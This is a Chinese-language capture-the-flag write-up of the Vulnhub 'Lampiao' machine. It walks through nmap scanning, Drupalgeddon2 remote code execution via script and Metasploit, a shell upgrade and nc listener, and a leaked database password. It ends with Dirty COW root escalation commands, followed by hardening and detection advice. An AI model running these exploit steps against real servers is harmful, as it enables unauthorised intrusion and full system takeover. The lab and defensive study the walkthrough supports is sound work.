1. 项目概述
Lampiao是Vulnhub平台上发布的一款基于Linux的渗透测试靶机,模拟了一个存在多个漏洞的Web服务器环境。这个靶机系统以葡萄牙语命名(意为"油灯"),其设计灵感来源于巴西的LAMP(Linux+Apache+MySQL+PHP)服务器常见配置漏洞。
作为安全研究人员和CTF爱好者,我花了三天时间完整攻克了这个靶机。整个过程涉及信息收集、漏洞利用、权限提升等多个阶段,最终成功获取root权限。下面我将详细拆解整个渗透过程的关键技术点和实战心得。
2. 环境准备与信息收集
2.1 靶机环境配置
首先需要将下载的OVA文件导入VirtualBox或VMware:
- 网络模式建议选择Host-only或NAT
- 内存分配1GB即可流畅运行
- 系统启动后会自动获取IP地址
注意:实际测试发现该靶机有时会占用80和3306端口,建议关闭宿主机的相关服务避免冲突
2.2 基础信息枚举
使用nmap进行基础扫描:
nmap -sV -p- 192.168.1.105关键发现:
- 开放端口:80(Apache)、1898(自定义端口)
- Web服务器:Apache/2.4.7
- 操作系统:Ubuntu 14.04
2.3 Web应用分析
访问1898端口发现Drupal 7 CMS:
- 版本确认:通过CHANGELOG.txt确认是Drupal 7.54
- 插件检测:使用droopescan扫描发现多个过时插件
- 用户枚举:通过/user/1确认admin用户存在
3. 漏洞利用过程
3.1 Drupalgeddon2漏洞利用
Drupal 7.54存在著名的RCE漏洞(CVE-2018-7600):
python3 drupalgeddon2.py http://192.168.1.105:1898成功获取www-data权限的shell后:
- 升级为交互式shell:
python -c 'import pty; pty.spawn("/bin/bash")' - 查看当前用户权限:
id - 建立持久连接:
nc -lvnp 4444
3.2 横向移动技巧
在/var/www/html目录发现数据库凭据:
$db_url = 'mysql://drupaluser:Virgulino@localhost/drupal';使用mysql客户端连接后获取:
- 用户密码哈希值
- 敏感配置信息
- 自定义模块代码
3.3 内核提权路径
通过uname -a发现内核版本:Linux lampiao 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64
适用的提权方法:
- 脏牛漏洞(CVE-2016-5195)
- overlayfs漏洞(CVE-2015-8660)
最终采用dirtycow的可靠利用:
gcc -pthread dirty.c -o dirty -lcrypt ./dirty mypassword4. 技术要点深度解析
4.1 Drupal漏洞链分析
该靶机精心设计了漏洞链:
- 前端注入 → 2. 中间件RCE → 3. 数据库凭证泄露 → 4. 内核提权
每个环节都体现了真实环境中常见的配置错误:
- 未及时打补丁的CMS
- 默认凭证未修改
- 敏感文件权限不当
- 过期的内核版本
4.2 葡萄牙语环境下的特殊发现
靶机中有几个葡萄牙语线索:
- /home/tiago目录下的笔记文件
- MySQL中的葡语内容
- Web页面的文化元素提示
这对非葡语使用者是个挑战,建议:
- 使用Google翻译API实时翻译
- 关注代码中的字符串而非自然语言
- 记住常见命令的葡语变体
5. 防御建议与加固方案
5.1 针对已发现漏洞的修复
Drupal方面:
- 升级到最新安全版本
- 删除不必要的插件
- 限制文件上传类型
系统层面:
- 更新内核到安全版本
- 配置适当的sudo权限
- 启用SELinux/AppArmor
5.2 安全监控建议
日志监控重点:
- /var/log/apache2/error.log
- /var/log/auth.log
- MySQL的慢查询日志
入侵检测指标:
- 异常的PHP文件创建
- passwd文件修改
- 非常规端口连接
6. 常见问题与解决记录
6.1 网络连接问题
症状:靶机无法获取IP地址 解决方法:
- 检查VirtualBox的DHCP服务
- 手动设置静态IP:
ifconfig eth0 192.168.56.105 netmask 255.255.255.0 route add default gw 192.168.56.1
6.2 漏洞利用失败处理
Drupalgeddon2执行无响应时:
- 检查Python版本(需3.x)
- 验证网络连通性
- 尝试其他利用脚本:
msfconsole use exploit/unix/webapp/drupal_drupalgeddon2 set RHOSTS 192.168.1.105 set RPORT 1898 exploit
7. 扩展学习资源
类似难度靶机推荐:
- Vulnhub: Kioptrix系列
- HackTheBox: Lame, Legacy
- OverTheWire: Natas
技术深化方向:
- Drupal安全白皮书
- Linux内核漏洞利用开发
- 葡萄牙语基础安全术语
工具进阶使用:
- Metasploit模块开发
- Nmap脚本编写
- 自定义Shellcode制作
这个靶机最让我印象深刻的是它模拟了真实环境中常见的漏洞组合,从Web应用到系统内核形成了完整的攻击链。在实际渗透过程中,建议做好每个阶段的详细记录,这对后续的漏洞分析和防御方案制定都很有帮助。